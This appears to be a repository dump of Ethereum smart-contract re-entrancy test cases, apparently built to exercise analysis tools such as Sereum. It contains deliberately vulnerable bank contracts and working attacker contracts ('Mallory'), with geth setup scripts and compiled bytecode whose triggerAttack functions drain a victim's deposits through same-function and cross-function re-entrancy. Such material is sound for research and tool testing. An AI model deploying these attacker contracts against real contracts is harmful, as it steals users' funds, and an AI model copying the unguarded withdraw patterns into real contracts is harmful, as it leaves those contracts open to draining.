505afa1580156105de573d6000803e3d6000fd5b505050506040513d60208110156105f457600080fd5b81019080805190602001909291905050506040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561065757600080fd5b505af115801561066b573d6000803e3d6000fd5b5050505050565b56fea165627a7a723058205f9c69d7e9daf8dbf99f86708fc73c7ee4cdf8a6b024109fef7437ac93e0cff30029',
131 | gas: '4700000'
132 | };
133 |
134 | var mallory;
135 | var bank;
136 |
137 |
138 |
139 | console.log("[+] creating contracts")
140 | console.log("new Safesending")
141 | var safesending = safesendingContract.new(
142 | safesender_create,
143 | function (e, contract) {
144 | console.log(e, contract);
145 | if (typeof contract.address !== 'undefined') {
146 | console.log('SafeSending mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);
147 | console.log("new Bank")
148 | bank = bankContract.new(
149 | contract.address,
150 | bank_create,
151 | function (e, contract) {
152 | console.log(e, contract);
153 | if (typeof contract.address !== 'undefined') {
154 | console.log('Bank mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);
155 | }
156 | }
157 | )
158 | }
159 | }
160 | )
161 |
162 | console.log("new Mallory")
163 | var mallory = malloryContract.new(
164 | mallory_create, function (e, contract){
165 | console.log(e, contract);
166 | if (typeof contract.address !== 'undefined') {
167 | console.log('Mallory Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);
168 | }
169 | })
170 |
171 |
172 | transferSomething()
173 | console.log("\n===============================================================================")
174 | console.log("Wait for SafeSending, Bank and Mallory contracts to be mined.")
175 | console.log("Sometimes things hang and manually calling the transferSomething() function a bunch of times until all contracts are mined resolves this. You should see a message that the SafeSending, Mallory and Bank contract are mined.")
176 | console.log("\nUse `triggerAttack()` to start the attack.")
177 | console.log("===============================================================================\n")
178 |
179 |
180 | // set up initial state, s.t. the attack is possible
181 | function donateInitial() {
182 | console.log("[+] setting up contracts for attack");
183 | // first to some poor account, whos funds will be drained by the attacker
184 | bank.donate(eth.accounts[0], {from: eth.accounts[0], value: 100000});
185 | // and some inital funds for the attack contract
186 | bank.donate(mallory.address, {from: eth.accounts[1], value: 100000});
187 | mallory.donate({from: eth.accounts[1], value: 100000})
188 | admin.sleepBlocks(1)
189 | }
190 |
191 | // print balances of the contracts
192 | function printStatus() {
193 | console.log("")
194 | console.log("[+] Current status:")
195 | console.log("Mallory has " + eth.getBalance(mallory.address) + " wei")
196 | console.log("Bank has " + eth.getBalance(bank.address) + " wei")
197 | console.log("Mallory has " + bank.getBalance(mallory.address) + " wei deposited in Bank")
198 | console.log("victim has " + bank.getBalance(eth.accounts[0]) + " wei deposited in Bank")
199 | if (eth.getBalance(bank.address) < bank.getBalance(eth.accounts[0])) {
200 | console.log("Warning: bank doesn't have enough ether to give back victim's money")
201 | }
202 | console.log("")
203 | }
204 |
205 | // perform attack
206 | function triggerAttack() {
207 | transferSomething();
208 | donateInitial();
209 | transferSomething();
210 |
211 | var preBalance = eth.getBalance(mallory.address)
212 | printStatus()
213 | admin.sleepBlocks(1)
214 |
215 | console.log("[+] Triggering attack by sending wei to Mallory, which calls fallback")
216 | var t = mallory.attack(bank.address, {from: eth.accounts[1], gas: '4700000'})
217 |
218 | console.log("[+] Executed attack...")
219 | transferSomething()
220 | admin.sleepBlocks(3)
221 | printStatus()
222 | var gains = (eth.getBalance(mallory.address) - preBalance);
223 | console.log("Mallory gained " + gains + " wei");
224 | if (gains > 0) {
225 | console.log("attack status: SUCCESS");
226 | } else {
227 | console.log("attack status: FAILED");
228 | }
229 |
230 | return t;
231 | }
232 |
233 |
234 | function getAttackTrace() {
235 | a = triggerAttack();
236 | return debug.traceTransaction(a);
237 | }
238 |
239 | transferSomething()
240 |
--------------------------------------------------------------------------------
/manual-lock.sol:
--------------------------------------------------------------------------------
1 | // This file contains 3 versions of the same contract.
2 | //
3 | // * VulnBankNoLock is vulnerable to simple same function re-entrancy
4 | // * VulnBankBuggyLock is vulnerable to cross-function re-entrancy, due to a incomplete locking mechanism
5 | // * VulnBankSecureLock is not vulnerable due to the locking mechanism
6 | //
7 | // Both VulnBankBuggyLock and VulnBankSecureLock employ a locking mechanism to
8 | // disable further state modifications to prevent re-entrancy attacks.
9 | //
10 | // VulnBankBuggLock does only prevent same-function re-entrancy. An attacker
11 | // can still re-enter in the transfer function.
12 | //
13 | // The Mallory contract performs a cross-function re-entrancy attack, which is
14 | // possible for all contracts but the VulnBankSecureLock.
15 | //
16 | // These contracts exercise edge cases of many analysis that try to identify
17 | // re-entrancy vulnerabilities.
18 | //
19 | // VulnBankNoLock should be simple and detected easily.
20 | //
21 | // VulnBankBuggyLock can only be exploited by cross-function re-entrancy. So
22 | // either the tool has to be aware of cross-function re-entrancy, or it reports
23 | // a false positive for same-function re-entrancy.
24 | //
25 | // VulnBankSecureLock is not exploitable by re-entrancy, but for an analysis
26 | // tool, it looks like a re-entrancy bug. The locking mechanism is hard to
27 | // differentiate from other functionality, especially on the EVM bytecode
28 | // level.
29 |
30 | pragma solidity ^0.5.0;
31 | /*pragma solidity ^0.4.21;*/
32 |
33 | contract VulnBank {
34 | function getBalance(address a) public view returns(uint);
35 | function deposit() public payable;
36 | function transfer(address to, uint amount) public;
37 | function withdrawBalance() public;
38 | }
39 |
40 | contract VulnBankNoLock is VulnBank {
41 |
42 | mapping (address => uint) private userBalances;
43 |
44 | function getBalance(address a) public view returns(uint) {
45 | return userBalances[a];
46 | }
47 |
48 | function deposit() public payable {
49 | userBalances[msg.sender] += msg.value;
50 | }
51 |
52 | function transfer(address to, uint amount) public {
53 | if (userBalances[msg.sender] >= amount) {
54 | userBalances[to] += amount;
55 | userBalances[msg.sender] -= amount;
56 | }
57 | }
58 |
59 | function withdrawBalance() public {
60 | uint amountToWithdraw = userBalances[msg.sender];
61 |
62 | if (amountToWithdraw > 0) {
63 | msg.sender.call.value(amountToWithdraw)("");
64 |
65 | userBalances[msg.sender] = 0;
66 | }
67 | }
68 | }
69 |
70 | contract VulnBankBuggyLock is VulnBank {
71 |
72 | mapping (address => uint) private userBalances;
73 | mapping (address => bool) private disableWithdraw;
74 |
75 | function getBalance(address a) public view returns(uint) {
76 | return userBalances[a];
77 | }
78 |
79 | function deposit() public payable {
80 | userBalances[msg.sender] += msg.value;
81 | }
82 |
83 | function transfer(address to, uint amount) public {
84 | if (userBalances[msg.sender] >= amount) {
85 | userBalances[to] += amount;
86 | userBalances[msg.sender] -= amount;
87 | }
88 | }
89 |
90 | function withdrawBalance() public {
91 | require(disableWithdraw[msg.sender] == false);
92 |
93 | uint amountToWithdraw = userBalances[msg.sender];
94 |
95 | if (amountToWithdraw > 0) {
96 | disableWithdraw[msg.sender] = true;
97 | msg.sender.call.value(amountToWithdraw)("");
98 | disableWithdraw[msg.sender] = false;
99 |
100 | userBalances[msg.sender] = 0;
101 | }
102 | }
103 | }
104 |
105 |
106 | contract VulnBankSecureLock is VulnBank {
107 |
108 | mapping (address => uint) private userBalances;
109 | mapping (address => bool) private disableWithdraw;
110 |
111 | function getBalance(address a) public view returns(uint) {
112 | return userBalances[a];
113 | }
114 |
115 | function deposit() public payable {
116 | require(disableWithdraw[msg.sender] == false);
117 |
118 | userBalances[msg.sender] += msg.value;
119 | }
120 |
121 | function transfer(address to, uint amount) public {
122 | require(disableWithdraw[msg.sender] == false);
123 |
124 | if (userBalances[msg.sender] >= amount) {
125 | userBalances[to] += amount;
126 | userBalances[msg.sender] -= amount;
127 | }
128 | }
129 |
130 | function withdrawBalance() public {
131 | require(disableWithdraw[msg.sender] == false);
132 | uint amountToWithdraw = userBalances[msg.sender];
133 |
134 | if (amountToWithdraw > 0) {
135 | disableWithdraw[msg.sender] = true;
136 | msg.sender.call.value(amountToWithdraw)("");
137 | disableWithdraw[msg.sender] = false;
138 |
139 | userBalances[msg.sender] = 0;
140 | }
141 | }
142 | }
143 |
144 | contract MallorySameFunction {
145 | VulnBank vb;
146 | // for solidity 0.5
147 | address payable owner;
148 | // for solidity 0.4.21
149 | /*address owner;*/
150 |
151 | // for solidity 0.5
152 | constructor(VulnBank _vb) public {
153 | // for solidity 0.4.21
154 | /*function Mallory(VulnBank _vb) public {*/
155 | owner = msg.sender;
156 | vb = _vb;
157 | }
158 |
159 | function gimme() public payable { }
160 |
161 | function attack() public payable {
162 | // deposit all ether
163 | vb.deposit.value(address(this).balance)();
164 | // and extract again
165 | vb.withdrawBalance();
166 | owner.transfer(address(this).balance);
167 | }
168 |
169 | function () external payable {
170 | vb.withdrawBalance();
171 | }
172 | }
173 |
174 | contract MalloryCrossFunction {
175 | VulnBank vb;
176 | // for solidity 0.5
177 | address payable owner;
178 | // for solidity 0.4.21
179 | /*address owner;*/
180 |
181 | // for solidity 0.5
182 | constructor(VulnBank _vb) public {
183 | // for solidity 0.4.21
184 | /*function Mallory(VulnBank _vb) public {*/
185 | owner = msg.sender;
186 | vb = _vb;
187 | }
188 |
189 | function gimme() public payable { }
190 |
191 | function attack() public payable {
192 | // deposit all ether
193 | vb.deposit.value(address(this).balance)();
194 | // and extract again
195 | vb.withdrawBalance();
196 | owner.transfer(address(this).balance);
197 | }
198 |
199 | function () external payable {
200 | // transfer to owner
201 | vb.transfer(owner, vb.getBalance(address(this)));
202 | }
203 | }
204 |
205 |
--------------------------------------------------------------------------------
/manual-lock_setup.js:
--------------------------------------------------------------------------------
1 | // deploy javascript code for manual-lock.sol
2 |
3 | var defaultPassword = "";
4 |
5 | personal.newAccount(defaultPassword);
6 | personal.newAccount(defaultPassword);
7 | function unlockAllAccounts() {
8 | // this is the prefundend dev contract
9 | personal.unlockAccount(eth.accounts[0], defaultPassword);
10 | // we'll use this as "attacker"
11 | personal.unlockAccount(eth.accounts[1], defaultPassword);
12 | }
13 | unlockAllAccounts()
14 | var attacker = eth.accounts[1];
15 | var victim = eth.accounts[0];
16 |
17 | console.log("prefunded balance: " + eth.getBalance(eth.accounts[0]))
18 | console.log("transferring initial funds to attacker account")
19 | eth.sendTransaction({from: eth.accounts[0], to: attacker, value: 1000000000000})
20 | admin.sleepBlocks(3)
21 | console.log("attacker account balance: " + eth.getBalance(attacker))
22 |
23 | function transferSomething() {
24 | eth.sendTransaction({from: eth.accounts[0], to: eth.accounts[2], value: 100})
25 | admin.sleepBlocks(4)
26 | }
27 |
28 |
29 | var malloryContract = web3.eth.contract([{"constant":false,"inputs":[],"name":"attack","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"gimme","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"inputs":[{"name":"_vb","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]);
30 | var mallory_crossfunction_create = {
31 | from: web3.eth.accounts[1],
32 | data: '0x608060405234801561001057600080fd5b506040516020806105288339810180604052602081101561003057600080fd5b810190808051906020019092919050505033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610456806100d26000396000f3fe60806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680639e5faafc14610240578063de82efb41461024a575b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f8b2cb4f306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561016657600080fd5b505afa15801561017a573d6000803e3d6000fd5b505050506040513d602081101561019057600080fd5b81019080805190602001909291905050506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561022657600080fd5b505af115801561023a573d6000803e3d6000fd5b50505050005b610248610254565b005b610252610428565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db03073ffffffffffffffffffffffffffffffffffffffff16316040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b1580156102f057600080fd5b505af1158015610304573d6000803e3d6000fd5b50505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635fd8c7106040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561038e57600080fd5b505af11580156103a2573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610425573d6000803e3d6000fd5b50565b56fea165627a7a723058202fcb2aef439dc0647178ee1203ea1555c43053f8d6a420afddc6eeea501f1c1c0029',
33 | gas: '4700000'
34 | };
35 | var mallory_samefunction_create = {
36 | from: web3.eth.accounts[1],
37 | data: '0x608060405234801561001057600080fd5b506040516020806103d38339810180604052602081101561003057600080fd5b810190808051906020019092919050505033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610301806100d26000396000f3fe60806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680639e5faafc146100eb578063de82efb4146100f5575b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635fd8c7106040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b1580156100d157600080fd5b505af11580156100e5573d6000803e3d6000fd5b50505050005b6100f36100ff565b005b6100fd6102d3565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db03073ffffffffffffffffffffffffffffffffffffffff16316040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b15801561019b57600080fd5b505af11580156101af573d6000803e3d6000fd5b50505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635fd8c7106040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561023957600080fd5b505af115801561024d573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156102d0573d6000803e3d6000fd5b50565b56fea165627a7a72305820041158ea2554f0d3c2992512e356a83c8ef333addee297853e116697e10dfce70029',
38 | gas: '4700000'
39 | };
40 |
41 | // we re-use the vulnbank contract ABI for all the variations of the VulnBank
42 | // contracts. All offer exactly the same ABI interface anyway.
43 | var vulnbankContract = web3.eth.contract([{"constant":false,"inputs":[],"name":"withdrawBalance","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"amount","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"deposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"address"}],"name":"getBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}]);
44 |
45 | var vulnbank_nolock_create = {
46 | from: web3.eth.accounts[0],
47 | data: '0x608060405234801561001057600080fd5b506103e8806100206000396000f3fe608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680635fd8c71014610067578063a9059cbb1461007e578063d0e30db0146100d9578063f8b2cb4f146100e3575b600080fd5b34801561007357600080fd5b5061007c610148565b005b34801561008a57600080fd5b506100d7600480360360408110156100a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610242565b005b6100e1610326565b005b3480156100ef57600080fd5b506101326004803603602081101561010657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610374565b6040518082815260200191505060405180910390f35b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081111561023f573373ffffffffffffffffffffffffffffffffffffffff168160405180600001905060006040518083038185875af1925050503d80600081146101f2576040519150601f19603f3d011682016040523d82523d6000602084013e6101f7565b606091505b50505060008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151561032257806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b5050565b346000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905091905056fea165627a7a72305820a3711ba353239f91ab85c6ffd7f9258bbf033f9171c4d5b1c0fbdd8888b9a3db0029',
48 | gas: '4700000'
49 | };
50 | var vulnbank_buggylock_create = {
51 | from: web3.eth.accounts[0],
52 | data: '0x608060405234801561001057600080fd5b506104f6806100206000396000f3fe608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680635fd8c71014610067578063a9059cbb1461007e578063d0e30db0146100d9578063f8b2cb4f146100e3575b600080fd5b34801561007357600080fd5b5061007c610148565b005b34801561008a57600080fd5b506100d7600480360360408110156100a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610350565b005b6100e1610434565b005b3480156100ef57600080fd5b506101326004803603602081101561010657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610482565b6040518082815260200191505060405180910390f35b60001515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156101a757600080fd5b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081111561034d5760018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff168160405180600001905060006040518083038185875af1925050503d80600081146102a8576040519150601f19603f3d011682016040523d82523d6000602084013e6102ad565b606091505b5050506000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151561043057806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b5050565b346000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905091905056fea165627a7a72305820c1a39bec88f30a9e0b387c7b563c77a350b91d7d95fd104e6daa13e7fecf803f0029',
53 | gas: '4700000'
54 | };
55 | var vulnbank_securelock_create = {
56 | from: web3.eth.accounts[0],
57 | data: '0x608060405234801561001057600080fd5b506105b4806100206000396000f3fe608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680635fd8c71014610067578063a9059cbb1461007e578063d0e30db0146100d9578063f8b2cb4f146100e3575b600080fd5b34801561007357600080fd5b5061007c610148565b005b34801561008a57600080fd5b506100d7600480360360408110156100a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610350565b005b6100e1610493565b005b3480156100ef57600080fd5b506101326004803603602081101561010657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610540565b6040518082815260200191505060405180910390f35b60001515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156101a757600080fd5b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081111561034d5760018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff168160405180600001905060006040518083038185875af1925050503d80600081146102a8576040519150601f19603f3d011682016040523d82523d6000602084013e6102ad565b606091505b5050506000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b60001515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156103af57600080fd5b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151561048f57806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b5050565b60001515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156104f257600080fd5b346000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905091905056fea165627a7a72305820d6b4e93785a71bca0dc92f32a9839a8c085901110ece2fab17f2eafd08a5a9820029',
58 | gas: '4700000'
59 | };
60 |
61 |
62 | var mallory;
63 |
64 | console.log("[+] deploying contracts");
65 | var vulnbank = vulnbankContract.new(
66 | /*****************************************************************
67 | * Uncomment to switch between the attack type.
68 | */
69 | // switch to the vuln and secure version by using the respective
70 | // vulnbank_X_create variable here.
71 | //vulnbank_nolock_create,
72 | //vulnbank_buggylock_create,
73 | vulnbank_securelock_create,
74 | /****************************************************************/
75 | function (e, contract) {
76 | console.log("vulnbank:", e, contract);
77 | if (typeof contract.address !== 'undefined') {
78 | console.log('VulnBankX Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);
79 |
80 | console.log("making mallory contract")
81 | var _vb = contract.address;
82 | mallory = malloryContract.new(
83 | _vb,
84 | /*****************************************************************
85 | * Uncomment to switch between the attack type.
86 | */
87 | mallory_samefunction_create,
88 | //mallory_crossfunction_create,
89 | /****************************************************************/
90 | function (e, contract){
91 | console.log("mallory", e, contract);
92 | if (typeof contract.address !== 'undefined') {
93 | console.log('Mallory Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);
94 | }
95 | })
96 | }
97 | })
98 |
99 | transferSomething();
100 | transferSomething();
101 |
102 |
103 | function setupInitialState() {
104 | console.log("[+] Setting up initial state");
105 | vulnbank.deposit({from: eth.accounts[0], value: 1000000, gas: '4700000'});
106 | }
107 |
108 | function printStatus() {
109 | console.log("");
110 | console.log("Mallory has " + eth.getBalance(mallory.address) + " wei");
111 | console.log("Mallory has " + vulnbank.getBalance(mallory.address) + " wei in VulnBank");
112 | console.log("attacker has " + eth.getBalance(attacker) + " wei");
113 | console.log("attacker has " + vulnbank.getBalance(attacker) + " wei in VulnBank");
114 | console.log("victim has " + vulnbank.getBalance(victim) + " wei in VulnBank");
115 | console.log("Vulnbank has " + eth.getBalance(vulnbank.address) + " wei");
116 | if (eth.getBalance(vulnbank.address) < vulnbank.getBalance(victim)) {
117 | console.log("Warning: VulnBank does not have enough funds to return victim's investment");
118 | }
119 | console.log("");
120 | }
121 |
122 |
123 | function triggerAttack() {
124 | transferSomething(); // sometimes it's stuck for some reason
125 | setupInitialState();
126 | transferSomething();
127 | printStatus();
128 |
129 | var preBalance = eth.getBalance(attacker);
130 |
131 | admin.sleepBlocks(3);
132 |
133 | console.log("[+] Triggering attack");
134 | var t = mallory.attack({from: attacker, to: mallory.address, gas: '4700000', value: 1000000});
135 | admin.sleepBlocks(3);
136 |
137 | printStatus()
138 |
139 | console.log("[+] Attacker is withdrawing from vulnbank!");
140 |
141 | admin.sleepBlocks(3);
142 | vulnbank.withdrawBalance({from: eth.accounts[1], gas: '4700000'});
143 |
144 | admin.sleepBlocks(3);
145 |
146 | printStatus()
147 |
148 | var gains = (eth.getBalance(attacker) - preBalance);
149 | console.log("Attacker gained " + gains + " wei");
150 | if (gains > 0) {
151 | console.log("[+] Attack SUCCESS")
152 | } else {
153 | console.log("[+] Attack FAIL")
154 | }
155 |
156 | return t;
157 | }
158 |
159 |
160 | function getAttackTrace() {
161 | a = triggerAttack();
162 | return debug.traceTransaction(a);
163 | }
164 |
165 |
166 | function checkTrace() {
167 | // sereum only
168 | t = triggerAttack();
169 | return debug.checkTransaction(t)
170 | }
171 |
--------------------------------------------------------------------------------
/simple.sol:
--------------------------------------------------------------------------------
1 | /*
2 | * Example taken from the paper by N. Atzei, M. Bartoletti, and T. Cimoli, “A Survey of Attacks on Ethereum Smart Contracts (SoK),” in Principles of Security and Trust, 2017
3 | * http://blockchain.unica.it/projects/ethereum-survey/attacks.html#simpledao
4 | *
5 | * Modified for solidity 0.5 compatibility and removed unecessary
6 | * functions/variables.
7 | */
8 |
9 | pragma solidity ^0.5.0;
10 | // this code also works with older solidity
11 | /*pragma solidity ^0.4.19;*/
12 |
13 | contract Mallory {
14 | SimpleDAO public dao;
15 | address owner;
16 |
17 | function() payable external {
18 | dao.withdraw(dao.queryCredit(address(this)));
19 | }
20 |
21 | function setDAO(address addr) public {
22 | dao = SimpleDAO(addr);
23 | }
24 | }
25 |
26 | contract SimpleDAO {
27 | mapping (address => uint) public credit;
28 |
29 | function donate(address to) payable public {
30 | credit[to] += msg.value;
31 | }
32 |
33 | function withdraw(uint amount) public {
34 | if (credit[msg.sender] >= amount) {
35 | msg.sender.call.value(amount)("");
36 | credit[msg.sender] -= amount;
37 | }
38 | }
39 |
40 | function queryCredit(address to) public view returns (uint) {
41 | return credit[to];
42 | }
43 | }
44 |
--------------------------------------------------------------------------------
/simple_setup.js:
--------------------------------------------------------------------------------
1 | // Script for deploying and running a simple "same-function" re-entrancy attack against
2 | // a crafted vulnerable contract (see simple.sol)
3 | //
4 | // Example taken from the paper by N. Atzei, M. Bartoletti, and T. Cimoli, “A Survey of Attacks on Ethereum Smart Contracts (SoK),” in Principles of Security and Trust, 2017
5 | // http://blockchain.unica.it/projects/ethereum-survey/attacks.html#simpledao
6 | //
7 | // usage: first start geth in developer mode (no mining difficulty and
8 | // prefundend accounts) and start the JavaScript console interface of geth:
9 | //
10 | // $ geth --dev --dev.period=1 console
11 | //
12 | // Then load this script to setup everything:
13 | //
14 | // > loadScript("simple_setup.js")
15 | //
16 | // Sometimes it takes a while for all contracts to be mined and commited to the
17 | // dev blockchain. Manually creating more transactions helps. Simply type:
18 | //
19 | // > transferSomething()
20 | //
21 | // If both the Token and Mallory contracts have been mined, the attack can be
22 | // started:
23 | //
24 | // > triggerAttack()
25 | //
26 | //
27 | // Example:
28 | //
29 |
30 |
31 |
32 |
33 | console.log("\n=== Simple Re-Entrancy Attack Example ===\n")
34 |
35 | console.log("creating/unlocking accounts");
36 |
37 | var defaultPassword = "";
38 |
39 | personal.newAccount(defaultPassword)
40 | personal.newAccount(defaultPassword)
41 | function unlockAllAccounts() {
42 | personal.unlockAccount(eth.accounts[0], defaultPassword)
43 | personal.unlockAccount(eth.accounts[1], defaultPassword)
44 | personal.unlockAccount(eth.accounts[2], defaultPassword)
45 | }
46 | unlockAllAccounts()
47 |
48 | attacker = eth.accounts[2]
49 | eth.sendTransaction({from: eth.accounts[0], to: attacker, value: 100000000000000000000000})
50 | admin.sleepBlocks(3)
51 | transferSomething()
52 |
53 | function transferSomething() {
54 | // sometimes things are stuck for some reason
55 | eth.sendTransaction({from: eth.accounts[0], to: eth.accounts[2], value: 100})
56 | admin.sleepBlocks(3)
57 | }
58 |
59 |
60 | console.log("[+] Deploying contracts")
61 | var malloryContract = web3.eth.contract([{"constant":true,"inputs":[],"name":"dao","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"setDAO","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]);
